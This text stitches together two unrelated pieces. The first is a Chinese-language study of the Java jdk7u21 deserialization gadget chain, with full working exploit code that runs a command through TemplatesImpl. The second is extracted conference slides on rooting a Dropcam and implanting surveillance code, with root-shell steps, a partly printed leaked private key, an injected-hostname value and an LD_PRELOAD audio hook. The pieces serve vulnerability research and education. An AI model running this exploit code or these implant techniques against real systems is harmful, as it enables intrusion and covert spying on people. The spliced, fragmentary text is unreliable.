IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } } 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 } class Gadgets { static { // 启⽤SecurityManager时使⽤TemplatesImpl gadget的特殊情况 System.setProperty(DESERIALIZE_TRANSLET, "true"); } public static class StubTransletPayload extends AbstractTranslet implements Serializable { // private static final long serialVersionUID = -5971610431559700674L; public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} } // required to make TemplatesImpl happy public static class Foo implements Serializable { // private static final long serialVersionUID = 8207363842866235160L; } public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[0] = iface; if (ifaces.length > 0) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast( Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); } public static TemplatesImpl createTemplatesImpl() throws Exception { final TemplatesImpl templates = new TemplatesImpl(); // use template gadget class // 获取容器ClassPool,注⼊classpath ClassPool pool = ClassPool.getDefault(); // System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); // 获取已经编译好的类 // System.out.println("ClassName: " + StubTransletPayload.class.getName()); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 // 在静态的的构造⽅法中插⼊payload clazz.makeClassInitializer() .insertAfter("java.lang.Runtime.getRuntime().exec(\"" +"open -a Calculator" + "\");"); // 给payload类设置⼀个名称 // 允许重复执⾏的唯⼀名称(注意 PermGen 耗尽) clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 获取该类的字节码 final byte[] classBytes = clazz.toBytecode(); //System.out.println(Arrays.toString(classBytes)); // 将类字节注⼊实例 Reflections.setFieldValue( templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 只要触发这个⽅法就能执⾏我们注⼊的bytecodes // templates.getOutputProperties(); return templates; } } public class exp { public Object buildPayload() throws Exception { // ⽣成 evil 模板,如果触发 templates.getOutputProperties(),可以执⾏命令 Object templates = Gadgets.createTemplatesImpl(); // magic string, zeroHashCodeStr.hashCode() == 0 String zeroHashCodeStr = "f5a5a608"; // build a hash map, and put our evil templates in it. HashMap map = new HashMap(); 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 结合payload看分析,明⽩payload为什么这样写,更容易帮助我们理解这个漏洞。 0x05 漏洞分析 //map.put(zeroHashCodeStr, "foo"); // Not necessary // Generate proxy's handler,use `AnnotationInvocationHandler` as proxy's handler // When proxy is done,all call proxy.anyMethod() will be dispatch to AnnotationInvocationHandler's invoke method. Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; ctor.setAccessible(true); InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map); // Reflections.setFieldValue(tempHandler, "type", Templates.class); // not necessary, because newInstance() already pass Templates.class to tempHandler Templates proxy = (Templates) Proxy.newProxyInstance(exp.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler); // Reflections.setFieldValue(templates, "_auxClasses", null); // Reflections.setFieldValue(templates, "_class", null); LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); // save evil templates set.add(proxy); // proxy map.put(zeroHashCodeStr, templates); return set; } public static void main(String[] args) throws Exception { exp exploit = new exp(); Object payload = exploit.buildPayload(); // test payload ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("payload.bin")); oos.writeObject(payload); ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.bin")); ois.readObject(); } } 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 如果分析过 CC 链或者看过 CC 链分析⽂章的朋友,⼀定知道在 CC 链中可以当成命令执⾏的 载体有以下两个类: org.apache.commons.collections.functors.ChainedTransformer org.apache.xalan.xsltc.trax.TemplatesImpl 我们知道要想实现 RCE 就必须要调⽤⼀个命令执⾏类, Runtime.getRuntime().exec() , CC 链中的 org.apache.commons.collections.functors.ChainedTransformer 类就存在 可以⽤于对象之间转换的 Transformer 接⼝,它有⼏个我们⽤得着的实现类, ConstantTransformer、InvokerTransformer以及ChainedTransformer,利⽤这⼏个对象,就可 以构造出⼀个可以执⾏命令的链,从⽽达到命令执⾏的⽬的。 但若是没找到可以⽤于对象之间转换的接⼝或者这些接⼝在⿊名单中怎么办呢? 当依赖或者源程序中不存在可以执⾏命令的⽅法时,可以选择使⽤ TemplatesImpl TemplatesImpl 作为命 令执⾏载体,并想办法去触发它的 newTransformer newTransformer 或 getOutputProperties getOutputProperties ⽅法 也就是上⾯我们所说的第⼆个类 org.apache.xalan.xsltc.trax.TemplatesImpl ,这个类 是 jdk7u21 原⽣ gadget 链中我们需要当初命令执⾏载体的类。 那么这个类如果构建 evil 类需要满⾜哪些条件呢?已经有师傅总结成了以下⼏个条件: 1. TemplatesImpl类的 _name 变量 != null 2. TemplatesImpl类的 _class 变量 == null 3. TemplatesImpl类的 _bytecodes 变量 != null 4. TemplatesImpl类的 _bytecodes 是我们代码执⾏的类的字节码。 5. 执⾏的恶意代码写在 _bytecodes 变量对应的类的静态⽅法或构造⽅法中。 6. TemplatesImpl类的 _bytecodes 是我们代码执⾏的类的字节码。 _bytecodes 中的类必 须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的⼦ 类 7. TemplatesImpl类的 _tfactory 需要是⼀个拥有 getExternalExtensionsMap() ⽅法的 类,通常使⽤ jdk ⾃带的 TransformerFactoryImpl() 类 TemplatesImpl 有四个⽅法: TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() 但是对于后两个来说,是 private ⽅法,只能被对象可调⽤⽅法间接调⽤,⽽前两者是 pub lic ⽅法,可以被对象直接调⽤。 那么第⼀阶段我们便明⽩了——利⽤ TemplatesImpl 注⼊我们要构造的恶意类,然后想办法 触发它的 newTransformer 或 getOutputProperties ⽅法。 怎么触发? frohoff 给了我们答案—— AnnotationInvocationHandler.invoke 那么这个⽅法为何能够触发呢?继续翻源码! 可以看到当调⽤⽅法为 equals 并满⾜相关条件时,会继续调⽤内部⽅法 equalsImpl() , 跟进 equalsImpl() public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); ... } 1 2 3 4 5 6 7 8 9 10 private Boolean equalsImpl(Object o) { if (o == this) return true; if (!type.isInstance(o)) return false; for (Method memberMethod : getMemberMethods()) { String member = memberMethod.getName(); Object ourValue = memberValues.get(member); Object hisValue = null; AnnotationInvocationHandler hisHandler = asOneOfUs(o); if (hisHandler != null) { hisValue = hisHandler.memberValues.get(member); } else { try { hisValue = memberMethod.invoke(o); } catch (InvocationTargetException e) { return false; } catch (IllegalAccessException e) { throw new AssertionError(e); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 在 equalsImpl() ⽅法⾥,会⾸先判断传⼊的 Object 对象是否为 type 对象的实例,然后调 ⽤ type class 的所有⽅法,再依次调⽤。 这样分析下来就清楚了,只要我们在实例化 AnnotationInvocationHandler 时传⼊ Templa tes.class ,然后令 equals() 的参数为 type 的实现类就可以实现 getOutputProperties ⽅法的触发。 到这⾥我们的问题⼜来了。 接下来的后续链⼜如何寻找呢? 其实在这个类的开始,有⼀段话如下: InvocationHandler for dynamic proxy implementation of Annotation. InvocationHandler ⽤于 Annotation 的动态代理实现。 那么根据前⾯动态代理相关的知识我们知道,当为某个类或接⼝指定 InvocationHandler InvocationHandler 对象时,在调⽤该类或接⼝⽅法时,就会去调⽤指定 handler handler 的 invoke() invoke() ⽅法。因此, 当我们使⽤ AnnotationInvocationHandler 创建 proxy object ,那么调⽤的所有⽅法都 会变成对 invoke ⽅法的调⽤。 } if (!memberValueEquals(ourValue, hisValue)) return false; } return true; } 21 22 23 24 25 26 也就是说,我们需要使⽤ AnnotationInvocationHandler 创建 Proxy Object 并让其代 理 Templates 接⼝,然后再调⽤ proxy object 的 equals ⽅法,将 Templates 当成参数 传⼊就完成了前部分链的组装。 现在,我们的⽬标实际上就变成了如何调⽤ Proxy.equals(EvilTemplates.class) 。 现在让我们总结⼀下能寻找到满⾜条件场景的条件: 要能够调⽤ proxy 的 equals ⽅法(这是我们刚才分析的) 要有反序列化接⼝——要能调⽤ readObject() ⽅法(这样才可以将我们的序列化数据传 进去开始反序列化) 不向下说,我们先来看看 ysoserial 中的反序列化载体有哪些: AnnotationInvocationHandler (CC1、CC3、 Groovy1) PriorityQueue (CC2、CC4) BadAttributeValueExpException (CC5、 MozillaRhino1 ) HashSet (CC6) HashMap ( Hibernate1 、 Hibernate2、 JSON1 、 Myfaces1 、 Myfaces2 、 ROME ) org.jboss.interceptor.proxy.InterceptorMethodHandler ( JBossInterceptors1 、 JavassistWeld1 ) org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider ( Spring1 、 Spring2 ) 这些反序列化载体中⼤多数是通过对元素进⾏⼀些操作,然后触发了后续链的调⽤。 实际上我猜测 jdk7u21 的作者 frohoff 可能也是通过这样的思考最终找到了 LinkedHashSe t 类。 LinkedHashSet 位于 java.util 包内,是 HashSet 的⼦类,向其添加到 set 的元素会保 持有序状态,并且在 LinkedHashSet.readObject() 的⽅法中,当各元素被放进 HashMap 时,第⼆个元素会调⽤ equals() 与第⼀个元素进⾏⽐较——这样⼀来恰好就满⾜了我们上 ⾯所说的两个条件。 所以在这⾥我们只要反序列化过程中让 Pproxy Object 先添加,然后再添加包含恶意代码 的实例,就会变成, Proxy.equals(EvilTemplates.class) ,它被代理给 AnnotationInv ocationHandler 类,并且进⼊ equalsImpl() ⽅法,在 getMemberMethods() 遍历 Templa tesImpl 的⽅法遇到 getOutputProperties 进⾏调⽤时,导致命令执⾏,从⽽完美的实现 了整个攻击链。 到这⾥其实整个漏洞就分析完了,但是在 LinkedHashSet 链中还有⼀个有意思的地⽅。 LinkedHashSet --> HashSet --> HashSet.readObject() --> HashMap.put() 在 put ⽅法⾥,有⼀个条件: if (e.hash == hash && ((k = e.key) == key || key.eq uals(k))) 如果想要⾛到 key.equals(k) 就必须满⾜ e.hash == hash 并且 k!=e.key 。 对于 k == e.key 很好判断,因为 EvilTemplates newInstance != Proxy Object ,那 e. hash == hash 应该如何判断呢? 实际上看源代码就知道,要让 127 * ((String)var3.getKey()).hashCode() 的结果等于0 ,也就是 (String)var3.getKey()).hashCode() 的值要为零,这样才可以满⾜那个 if 判 断。 这⾥利⽤的其实就是hash碰撞。 经过碰撞我们得到了碰撞的第⼀个结果 f5a5a608 ,也就是 payload 中的 map.put('f5a5a60 8', templates); 这样写的原因。 整个流程可以总结成如下的思维导图: // 将指定值与此映射中的指定键相关联 public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key.hashCode()); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; // 关键点 if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 0x06 漏洞修复 互联⽹上对于 jdk7u21 原⽣gadget链修复⽅式有两种讨论。 第⼀种: 第⼆种: 实际上经过我的测试发现,其实这两种说法都没有问题。 ⾸先来看存在漏洞的最后⼀个版本( 611bcd930ed1 ):http://hg.openjdk.java.net/jdk7u/jd k7u/jdk/file/611bcd930ed1/src/share/classes/sun/reflect/annotation/AnnotationInvocationH andler.java 查看其 children 版本( 0ca6cbe3f350 ):http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/0 ca6cbe3f350/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java compare⼀下: 可以发现,在第⼀次的修复中,官⽅采⽤的⽅法是⽹上的第⼆种讨论,即将以前的 return 改 成了抛出异常。 继续查看 0ca6cbe3f350 的 children 版本( 654a386b6c32 ):http://hg.openjdk.java.net /jdk7u/jdk7u/jdk/file/654a386b6c32/src/share/classes/sun/reflect/annotation/AnnotationInv ocationHandler.java 可以发现在 AnnotationInvocationHandler 构造⽅法的⼀开始的位置,就对于 this.type 进⾏了校验。 // 改之前 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } // 改之后 AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 此外,除了在构造⽅法处的验证,在其获取成员⽅法时,也做了验证: 验证内容如下: // 改之前: AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } // 改之后: AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 private void validateAnnotationMethods(Method[] memberMethods) { boolean valid = true; for(Method method : memberMethods) { if (method.getModifiers() != (Modifier.PUBLIC | Modifier.ABSTRACT) || method.getParameterTypes().length != 0 || method.getExceptionTypes().length != 0) { valid = false; 1 2 3 4 5 6 7 validateAnnotationMethods 验证⽅法对注解类型中声明的⽅法进⾏了限制,禁⽌了包含 静态⽅法和声明的⽅法,要求注释类型必须采⽤零个参数并且对返回类型也做了限制。 所以,个⼈总结,⽹上讨论的两种修复⽅式其实都没有问题,只是因为不同的jdk版本导致了 修复⽅式不完全⼀样,也导致 payload 会在不同的地⽅被拦截,从⽽出现不⼀样的错误。 如下图时在 jdk1.8.151 中出现的错误。 break; } Class<?> returnType = method.getReturnType(); if (returnType.isArray()) { returnType = returnType.getComponentType(); if (returnType.isArray()) { // Only single dimensional arrays valid = false; break; } } if (!((returnType.isPrimitive() && returnType != void.class) || returnType == java.lang.String.class || returnType == java.lang.Class.class || returnType.isEnum() || returnType.isAnnotation())) { valid = false; break; } String methodName = method.getName(); if ((methodName.equals("toString") && returnType == java.lang.String.class) || (methodName.equals("hashCode") && returnType == int.class) || (methodName.equals("annotationType") && returnType == java.lang.Class.class)) { valid = false; break; } } if (valid) return; else throw new AnnotationFormatError("Malformed method on an annotation type"); } 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 下图时在 jdk7u25 中出现的错误。 0x07 总结 整个jdk7u21反序列化gadget链的构建⾮常经典,链中融合了⼤量的基础知识以及⼩技巧,个 ⼈认为是对于理解并学习反序列化漏洞的必学知识点,此⽂是本⼈学习记录,如存在问题欢 迎各位师傅斧正。 0x08 参考 https://lalajun.github.io/2019/11/30/JDK%E5%8F%8D%E5%BA%8F%E5%88%97%E5% 8C%96Gadgets%207u21/ https://p0rz9.github.io/2019/06/08/Ysoserial%E4%B9%8BJDK7u21%E5%88%86%E6%9E %90/ https://gist.github.com/frohoff/24af7913611f8406eaf3#deserialization-call-tree-approximate https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/ https://mp.weixin.qq.com/s/Ekjbxv5glIXvpsw2Gh98vQ https://xz.aliyun.com/t/6884#toc-12 https://paper.seebug.org/792/
pdf
Crowd Security Intelligence @colbymoore @patrickwardle syn.ac/defc0n22 download slides optical implanting this surgery who we are we source a global contingent vetted security experts worldwide and pay them on an incentivized basis to discover security vulnerabilities in our customers’ web apps, mobile apps, and infrastructure endpoints. @patrickwardle-- NASA,-NSA,-VRL,-Synack @colbymoore VRL,-Synack R & D team always looking for more experts! an outline overview root access vulnerabilities implant an overview dropcam is… “a cloud-based Wi-Fi video monitoring service with free live streaming, two-way talk and remote viewing that makes it easy to stay connected with places, people and pets, no matter where you are.” -dropcam.com night vision two-way talk intelligent alerts cloud recording setup & configuration or wifi setup } completed setup a target popular++ appealing locations powerful capabilities “[for Google] to gain a bigger foothold in the fast growing market for connected devices in the home” -forbes.com rooting a dropcam probing some portz breakout board (FTDI serial to USB) serial connection (pin 3 & 4) exposed 3.3v UART and action! $ screen /dev/tty.usbserial-A603NJ6C 115200 [0.000000] Linux version 2.6.38.8
 [0.000000] CPU: ARMv6-compatible processor [4117b365]
 [0.000000] CPU: VIPT nonaliasing data cache [0.544192] Initializing Crown Royal Dropcam board (revision 2) ... ! .:^:. .o0WMMMMMNOc. lk, dWMMMMNXNMMMMWl .NMc dMMMMd. .kMMMMl .oOXNX0kWMc cX0xXNo .oOXNX0d' .0XxxKNNKx; :kKNNKx. .lOXNNKx, :XXxKNXOldKNNKd. KMMMO KMMM0 lWNd;',lXMMc oMMo'..dWNo,',oXWx .WMWk;',c0M0. .KMO:'':; ;NWx;',cKMK. lMMx'.oWMX;.'0MO OMMMW; cWMMMx .MM: .WMc oMX 'MM, 'WM;.WMd XMo kM0 KMx .WMd lMM' .XMo cMX .0MMMM0..cKMMMMk 0M0' .dMMc oMX .XMk' .xMX..WMK; .lWW, cWW: dMX, .oMMd lMM' .XMo cMX :XM0:dNMMMMO; oNMNKXMNWMc oMX .dNMNKXMNx. .WMWMNKXMWO' ;0WWKKWN, cKMNKXWWWMd lMM' .XMo cMK ;.0MMMMO, .;:;. ';. .;. .;:;. .WMo.,:;'. .,::,. .;:;'..;. .;; ,;. .;. 'ONx' .WM: .. ! Ambarella login: booting to password prompt accessing the bootloader $ screen /dev/tty.usbserial-A603NJ6C 115200
 ___ ___ _________ _ / _ \ | \/ || ___ \ | | / /_\ \| . . || |_/ / ___ ___ | |_ | _ || |\/| || ___ \ / _ \ / _ \ | __| | | | || | | || |_/ /| (_) || (_) || |_ \_| |_/\_| |_/\____/ \___/ \___/ \__| ! Amboot(R) Ambarella(R) Copyright (C) 2004-2007 amboot> power on hit ‘enter’ tx/rx (pin 3 & 4) short + or + bootloader booting in a root shell amboot> help The following commands are supported: help bios diag dump erase exec ping r8 r16 r32 reboot reset setenv show usbdl w8 w16 w32 bapi amboot> help setenv Usage: setenv [param] [val] auto_boot - Automatic boot cmdline - Boot parameters auto_dl - Automatically boot over network tftpd - TFTP server address ... ! amboot>setenv cmdline DCSEC console=ttyS0 ubi.mtd=bak root=ubi0:rootfs 
 rw rootfstype=ubifs init=/bin/sh ! amboot>reboot bootloader’s help bootloader’s setenv command set boot parameters to /bin/sh NOP’ing out root’s password # ls -l /etc/shadow /etc/shadow -> /mnt/dropcam/shadow ! # more /etc/fstab <file system> <mount pt> <type> /dev/root / ext2 … NFS configuration for ttyS0 /dev/mtdblock9 /mnt/dropcam jffs2 ! # mount -tjffs2 /dev/mtdblock9 /mnt/dropcam # vi /mnt/dropcam/shadow root:$1$Sf9tWhv6$HCsGEUpFvigVcL7aV4V2t.:10933:0:99999:7::: ! # more /mnt/dropcam/shadow root::10933:0:99999:7::: reboot root :) mounting /mnt/dropcom reset params reboot removing root’s password hash vulnerabilities & ‘features’ “we found the Dropcam has a pretty solid security model, so no 0day in this post” 
 -the ‘other’ guys the environment #uname -a Linux Ambarella 2.6.38.8 #80 Aug 2013 
 armv6l GNU/Linux ! # ps aux | grep connect 821 root 0:10 /usr/bin/connect 823 root 0:13 /usr/bin/connect 824 root 0:00 /usr/bin/connect dropcam specific binaries linux (arm 32-bit) decently secure no open ports secure communications unique provisioning automatic updates heartbleed (client side) # openssl version OpenSSL 1.0.1e 11 Feb 2013 vulnerable openssl version yah,%this%is%vulnerable all your secrets are belong to us heartbleed (client side) $ ./heartleech ... leakedCameraMem.bin https://github.com/robertdavidgraham/heartleech
 -----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAxDwdW1jXkH4JArCVJjXruVbmGldaaS8at7C2CuttrmRt2aPA5Jih7 PoBSI8J3DFCW6dxxay94DtEtLcxg5MpCsKP6qQ6sbL7tN4xs9SEDwJJBci/+2MsHrYPTG BpIcivzg03z2RevUlDt7Juyh2j26p7Ksal0ISeOnfDJRna+UepDMEaZFIbU1+eulcHtkF yiLaLZ7BP8YzLUk5+0nN3zJaDKprw78qdJDarMSMyO293KZUCfbGZfLeghkCIMe0n4A3D w7IuM9+CsbfQOcQQx9P7WB/KKsqxvkeKPmveY9Vq6U3mqUhnersHQIDAQABAoIBAApdMq YPB/8vhqou7HpnIyzu2eZWLrbzEAbcgGvipSTxtSnzqsm7yT8+UcGdG52hqbjH919TKHN p0H+t2Y2VwwPm6MzKdYkGfYg9pvGnUBgGaU9gIFeyZafuC0QqjQGoHH1G1b14F9gdNHHx 5W8aqNmCxGo31127yKNMtQ29RnHzXFC6ZaVNG381oYpTGYOkYzvqm2Rjuy028AXCMcWkx df927z6ZAzTOv/m+d7RmDNCu9tUiNo77rYKn8suuBdZ6kyt82Lk1af8Yif31OMFqAXoi+ FoEfhxLNwdodDeaDdV2QYdENCNCRfEnRbmhHFYe/Fg4uw2KgyKlfzRTkCgYEA+3B3MMM4 0kVhnYkCrZevyhYWK2sIqSZDA+3VguJXnBuXI8wHkixhS2Fkcg88AE99bk2P8eLEa+4Vo ...
 -----END RSA PRIVATE KEY-----
 camera’s private certificate def%talking%to%us%;) heartbleed (client side) viewing camera feed hacker w/ cert not just in the movies! do%you%trust%what%you%see? auth w/ server busybox/cve-2011-2716 busybox: “is a multi-call binary that combines many common Unix utilities into a single executable” malicious%DHCP%server //unpatched%version%in%src
 case%OPTION_STRING:
 % memcpy(dest,%option,%len);
 % dest[len]%=%'\0';
 %%%return%ret;% ;process%OPTION_STRING% MOV%%%%R0,%R4%%%%%%%%%%% MOV%%%%R1,%R5%%%%%%%%%%% MOV%%%%R2,%R7%%%%%%%%%%% BL%%%%%memcpy%% % %;memcpy(dest,%option,%len)%% MOV%%%%R3,%#0% STRB%%%R3,%[R4,R7]%%;dest[len]%=%'\0';
 “host.com;evil%cmd” cve-2011-2716: “scripts (may) assume that hostname is trusted, leading to code execution” dropcam’s disasm no validations ‘direct usb’ no%need%to%open%device! power on direct USB interface direct USB utility setup application priv-esc usb host (wifi) configuration authentication request mounted share Windows/OS X host setup application OS X priv-esc $ ls -lart /Volumes/Dropcam\ Pro/Setup\ Dropcam\ \(Macintosh\).app/ Contents/MacOS/ ! -rwxrwxrwx 1 patrick staff 103936 Aug 12 2013 Setup Dropcam (Macintosh) infected dropcam app r00t non-r00t binary is world writable! setup app is run to configure the camera non-jailbroken device iOS App MitM attack …the dropcam iOS app may, as it doesn’t pin SSL certificates “Our cameras won't communicate with anyone on the Internet, only Dropcam cloud servers” -dropcam CEO + hacker’s cert can%MitM%the%connection iOS App MitM attack no dual-factor auth no ‘shared session’ alert user name & password cuckoo’s egg cuckoo’s egg should… hear propagate command shell geolocate infil/exfil survey see cuckoo’s egg (conceptually) corporate network “He sees you when you're sleeping He knows when you're awake He knows if you've been bad || good” just%like%the%NSA?%j/k%;) installation (currently) requires physical access or or in ‘transit’? a gift? break and enter? a lot of options to achieve this installation (en route) “no comment” installation (gift) “Due-to-recent-thefts,-we-are- requiring-you-to-install-this- video-monitoring-system-to-help- secure-the-incubator-space”--EVCV yes, re-shrink wrapped ;) installation (break & enter) “All hardware technology products…are susceptible to jailbreaking.” -dropcam CEO full-disk crypto boot password forensics tools proprietary OS must open limited capabilities signed code must open generally off no need to open no boot password no disk-crypto no signed code open-source OS always on capabilities++ unsuspected (bring a wifi-jammer, or just unplug) true, but dropcam is the obvious target! pass-locked signed code rarely ‘off-person’ finding the “brain” how does the dropcam, hear, see, and think? where is its brain? can it be re-wired? the connect binary the /usr/bin/connect binary 
 is a monolithic program that contains most of the dropcam specific logic. device components non-standardly packed…. $ hexdump -C dropCam/fileSystem/usr/bin/connect 00000000 7f 45 4c 46 01 01 01 03 00 00 00 00 00 00 00 00 |.ELF............| 00000010 02 00 28 00 01 00 00 00 a0 f5 06 00 34 00 00 00 |..(.........4...| 00000020 74 81 06 00 02 02 00 05 34 00 20 00 02 00 28 00 |t.......4. ...(.| 00000030 03 00 02 00 01 00 00 00 00 00 00 00 00 80 00 00 |................| 00000040 00 80 00 00 8c 7e 06 00 8c 7e 06 00 05 00 00 00 |.....~...~......| 00000050 00 80 00 00 01 00 00 00 90 5a 00 00 90 5a 14 00 |.........Z...Z..| 00000060 90 5a 14 00 00 00 00 00 00 00 00 00 06 00 00 00 |.Z..............| 00000070 00 80 00 00 7f d2 62 0c 55 50 58 21 04 09 0d 17 |......b.UPX!....| $ upx -d dropCam/fileSystem/usr/bin/connect Ultimate Packer for eXecutables ! File size Ratio Format Name -------------------- ------ -----------
 upx: connect: IOException: bad write ! Unpacked 1 file: 0 ok, 1 error. upx’d unpacking error :/ unpacking provides the ability to statically analyze, dynamical debug, patch, re-run, etc. packed connect //elf%unpack%function
 void%PackLinuxElf32::unpack(OutputFile%*fo)
 {
 % ...
 % bool%const%is_shlib%=%%(ehdrg>e_shoff%!=%0);% % //this%code%path%taken
 % if(is_shlib)
 % {
 % % % //exception%is%thrown%here upx%src;%p_lx_elf.cpp #define%EI_NIDENT% 16% typedef%struct%{
 % Elf_Char%e_ident[EI_NIDENT];
 % Elf32_Half% e_type;
 % Elf32_Half% e_machine;
 % Elf32_Word% e_version;
 % Elf32_Addr% e_entry;
 % Elf32_Off%e_phoff;
 % Elf32_Off%e_shoff;
 %%%%…
 }%Elf32_Ehdr; upx source code ELF header struct …so maybe the binary was modified in some other way to prevent unpacking? packer stub was identified as NRV2E and identically matched source (armv4_n2e_d8.S) connect is not a shared library …so why is is_shlib TRUE
 (due to e_shoff-!=-0)? unpacking connect #unset%ehdrg>e_shoff
 with%open(fileName,%'rb')%as%packedFile
 % fileBytez%=%list(packedFile.read())
 % #zero%it%out
 % fileBytez[SH_OFF:SH_OFF+SH_SIZE]%=%[0]*SH_SIZE $ python dropWham.py connect -unpack [+] unsetting ehdr->e_shoff Ultimate Packer for eXecutables File size Ratio Format Name ---------------- ------ --------- ----------- 890244 <- 426577 47.92% linux/armel connect Unpacked 1 file. ! $ strings connect Dropcam Connect - Version: %d, Build: %d (%s, %s, %s) jenkins-connect-release-node=linux-144, origin/release/
 ... can use for evilz?! generic dropcam unpacker unsetting ehdrE>e_shoff- the persistent core simple portable 3rd-party libs # du -sh 34.6M ! # less /etc/init.d/S40myservices ... tar -xvf python2.7-stripped.tgz -C /tmp/
 /tmp/bin/python2.7 /implant/cuckoo.py & cuckoo’s egg core persist in init.d decompress python …and action! custom ‘tiny’ build limited space networking # netstat -t Active Internet connections (w/o servers) Proto Local Address Foreign Address tcp 192.168.0.2:40978 ec2-54-196-21-142.compute-1.amazonaws.com:https tcp 192.168.0.2:41988 ec2-54-196-21-130.compute-1.amazonaws.com:https which connection is legit? ;) C & C streaming dropcam & cuckoo’s egg connections ‘secure’ network hosted%on%AWS geolocation ? {iwlist-wlan0-scan} googleapis.com/geolocation/v1/geolocate? предатель host infection & propagation renamed (original) binary OS X kindly hides app’s binary the (implanted) camera host infection (OS X) XProtect Gatekeeper OS X sandbox Code-signing we winz! < what about all of OS X’s anti- malware mitigations?!? nope! } syn.ac/shakacon audio & video /usr/bin/connect low-level devices the connect binary accesses low-level audio & video devices via both well defined interfaces (APIs) & undocumented IOCTLs
 …then streams output to the dropcam cloud. kernel mode module injection, can overcome this obstacle grabbing audio (injection/hooking) connect exclusively opens the audio card # arecord arecord: audio open error ! Device or resource busy connect’s process space injected module # LD_PRELOAD=./injectMe.so /usr/bin/connect single process access grabbing audio Advanced-Linux-Sound-Architecture (ALSA) is used for reading audio ;connect%binary,%reading%audio
 LDR%%%%%R2,%[R11,#size]
 LDR%%%%%R0,%[R5,#0xFC]
 SUB%%%%%R1,%R11,%#ptrptrBuffer
 BL%%%%%%snd_pcm_readn% % % 
 CMP%%%%%R0,%R2
 BEQ%%%%%readOK
 ...
 LDR%%%%%R1,%"read%audio%interface%failed"
 MOV%%%%%R0,%R4%%%%%%%%%%%% 
 BL%%%%%%fprintf get audio via snd_pcm_readn() reading audio programmatically hooking audio //replaces%snd_pcm_readn%to%capture%dropcam’s%audio
 snd_pcm_sframes_t%snd_pcm_readn(snd_pcm_t%*pcm,%void%**bufs,%snd_pcm_uframes_t%size)
 {%
 %% //function%pointer%for%real%snd_pcm_readn()
 %% static%snd_pcm_sframes_t%(*orig_snd_pcm_readn)(snd_pcm_t*,void**,snd_pcm_uframes_t)%=%NULL;
 %% //get%original%function%pointer%for%snd_pcm_readn()
